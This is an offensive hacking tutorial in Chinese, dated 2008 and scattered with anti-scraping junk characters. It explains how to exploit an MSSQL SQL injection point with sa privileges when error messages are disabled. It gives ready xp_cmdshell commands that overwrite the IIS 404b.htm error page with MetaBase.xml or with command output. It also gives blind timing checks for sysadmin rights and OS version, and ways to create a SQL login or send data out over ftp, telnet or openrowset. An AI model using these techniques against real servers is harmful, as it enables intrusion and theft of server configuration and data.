遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。- [2 `* \$ ?1 }8 ?1 a
2 `4 J+ [' B& l( y 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
8 E! v, v- L" f m/ l! M
8 I5 O8 `; P$ {& a4 ` 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。/ a I- s, ]. S! |# n
- p+ D3 r8 U( _& _ B t
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
* ]# X, B8 H& d' H4 ~6 C
( l3 w( T7 ?8 r4 ^% s8 e 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--( G! K" {7 q8 C: x0 Z5 E5 C/ y
5 r, s' p1 c1 ]
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。/ u: k5 x/ h3 e U. `8 M
! q7 h( Q, B! D4 c6 @- b
执行命令得到回显 O# @. @# |5 ^6 n3 P4 C
, r- p, \- z% t: o2 ]3 q! J 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--! h) ]% }! o" ^* J" t+ E
3 G8 N' P e5 a8 B' q 得到文件也shi相同,把文件copy到404b.htm就行了
6 K5 l$ y$ b" b/ ~
! |6 j+ K7 c: g; {* b$ H by 28ice, 2008/6/26
4 m+ w- w+ n; L( H" s9 w
- q% h- A+ z4 `" [, t( ~1 A8 |9 \: [ 摘自 28度的冰- k: [; r2 x4 I5 C+ f7 N/ @
- ?% L& G: z1 \! E* k 盲注判断权限和操作系统版本- O6 `) Z8 T$ H
}9 z& q$ I& L
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
/ U) e9 s' C$ B" _( T6 A4 T: n
+ S3 c; R+ C) j6 v. v3 { 最简单的,可能以用这样的方法:! z" f9 n \! [: }* s1 z+ b$ w( a
9 c: K) u3 u# X# E t# D) i/ `
1=(select IS_SRVROLEMEMBER(’sysadmin’))# E. n: C$ }8 |! y4 `9 u ^
3 D. i& M6 X5 C& p/ ]; _
当然,有些情况下,这个方法并不奏效。
. f! f/ O# i0 ]4 e7 U d" U _) ^' Q7 {. D$ R
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
: `0 k2 n- r# m7 R; T3 X; E1 X' a% x2 i5 F
有个3办法可能以解决这个问题
4 @* \# k7 {/ B1 q
' h$ h* [7 A, y0 @ F. { a.把执行结果写到404b.htm,具体请看我的上一篇文章1 h- F9 R4 @- W, M5 C
7 x( n) Y& g3 U& h( v8 k) A5 Y b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
' j$ r: d+ I" z* K! z8 l# X+ Q* Y. a7 w) W
c.如果1433端口可能以连接,那干脆新建个sql登录
4 G7 F+ m5 s, A/ @% q) ]" ]; i: m! v' O
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数. x& s6 B! L: j! L
% F( B y- Q+ M7 H$ H 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下' ~6 h4 a/ h& d$ A7 m9 @" F
$ q/ |) Q. G: P! c/ T% i# C) U
很简单4 A/ I+ |; M& T$ d S% \4 b
+ d% }( v) j5 q. ^% U
执行systeminfo
! Y9 c5 ~) e* l
2 m: |6 i' x% a' y2 o x 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |